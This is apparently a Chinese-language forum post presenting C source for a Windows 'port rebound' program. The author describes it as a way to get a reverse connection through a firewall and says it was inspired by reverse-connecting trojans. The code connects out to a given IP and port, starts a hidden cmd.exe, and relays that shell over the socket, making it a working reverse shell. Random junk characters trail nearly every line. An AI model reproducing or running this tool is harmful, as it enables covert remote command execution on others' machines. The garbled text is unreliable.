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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 FDs>m #e  
`*R:gE=  
/* ============================== Ee! 4xg  
Rebound port in Windows NT {%H'z$|{  
By wind,2006/7 BX7kO0j  
===============================*/ D/&o& G96  
#include T.BW H2gRP  
#include A?P_DA  
6%_nZvRv  
#pragma comment(lib,"wsock32.lib") k="i;! G e  
]w8(&,PP  
void OutputShell(); KkbDW3-  
SOCKET sClient; b]#AI qt  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hL{KRRf>  
\r+ a GB  
void main(int argc,char **argv) [RhO$c$[\  
{ ea 'D td  
WSADATA stWsaData; ?+@?Up0wGO  
int nRet; !l8PDjAE  
SOCKADDR_IN stSaiClient,stSaiServer; L#sMSVC+  
:DNY7TvZ  
if(argc != 3) 0S!K{xyR  
{ k?^z;Tlvw  
printf("Useage:\n\rRebound DestIP DestPort\n"); $%#!bV  
return; (uE!+2C  
} ]2KihP8z x  
S4z;7z(8+  
WSAStartup(MAKEWORD(2,2),&stWsaData); ?N9uu4  
YU'E@t5  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sUQ@7sTj  
@# l= l  
stSaiClient.sin_family = AF_INET; hHnYtq  
stSaiClient.sin_port = htons(0); @I?=<Riu  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); BQMpHSJ_  
n{mfn *r.  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) U 'bEL^Jf  
{ ?Z/V~,  
printf("Bind Socket Failed!\n"); .#8 JCY  
return; 9rf)gU3{+L  
} !%c\N8<>GD  
)Ql%r?(F+  
stSaiServer.sin_family = AF_INET; Vt#.eL)Ee  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e(t\g^X  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @:#eb1 <S  
p<"mt]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) zQd 2  
{ (O3nL.  
printf("Connect Error!"); -uf|w?  
return; [7Oe3=  
} UP,c|  
OutputShell(); 83#mB:^R  
} }o`76rDN  
HG^'I+Yn  
void OutputShell() vXje^>_6  
{ `b$.%S8uj=  
char szBuff[1024]; !+v$)3u9  
SECURITY_ATTRIBUTES stSecurityAttributes; 2BwO!Y[  
OSVERSIONINFO stOsversionInfo; 0@oJFJrO  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ud('0 r',D  
STARTUPINFO stStartupInfo; *$g-:ILRuZ  
char *szShell; uVrd i?3  
PROCESS_INFORMATION stProcessInformation;  }.6[qk  
unsigned long lBytesRead; ( a#BV}=  
v.qrz"98-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); &tj!*k'  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); FQ\h4` >B  
stSecurityAttributes.lpSecurityDescriptor = 0; /%^#8<=|U  
stSecurityAttributes.bInheritHandle = TRUE; 3[*}4}k9  
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D*d]aC  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]t"Ss_,  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); PEZ!n.'S  
oOFVb5qoFU  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |yPu!pfl  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 61U09s%\0  
stStartupInfo.wShowWindow = SW_HIDE; pEA:L$&  
stStartupInfo.hStdInput = hReadPipe; F:S}w   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; S?2>Er  
=T7.~W  
GetVersionEx(&stOsversionInfo); Y.p;1"  
oEpFuWp%A  
switch(stOsversionInfo.dwPlatformId) VI *$em O0  
{ >XfbP]  
case 1: RZTiw^  
szShell = "command.com"; yJIscwF  
break; ;aVZ"~a+\  
default: 9hyn`u.  
szShell = "cmd.exe"; )8ZH-|N`!E  
break; qJ-/7-$ ^  
} CU!Dhm/U  
TB31- ()  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); La[V$+Y  
3ckclO\|>  
send(sClient,szMsg,77,0); `Urhy#LC  
while(1) < =IFcN  
{ 0w7DsPdS  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?}Y]|c^W  
if(lBytesRead) q!@4~plz  
{ pd$[8Rmj_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); _lq`a\7e  
send(sClient,szBuff,lBytesRead,0); 4CTi]E=H{  
} 1< ?4\?j  
else x kD6Iw  
{ n+M<\  
lBytesRead=recv(sClient,szBuff,1024,0); 6ik$B   
if(lBytesRead<=0) break; '~ 47)fN  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); .T`%tJ-Em  
} E2-\]?\F(  
} Wx#;E9=Im  
) )Za&S*<  
return; :g/tZd$G5  
}
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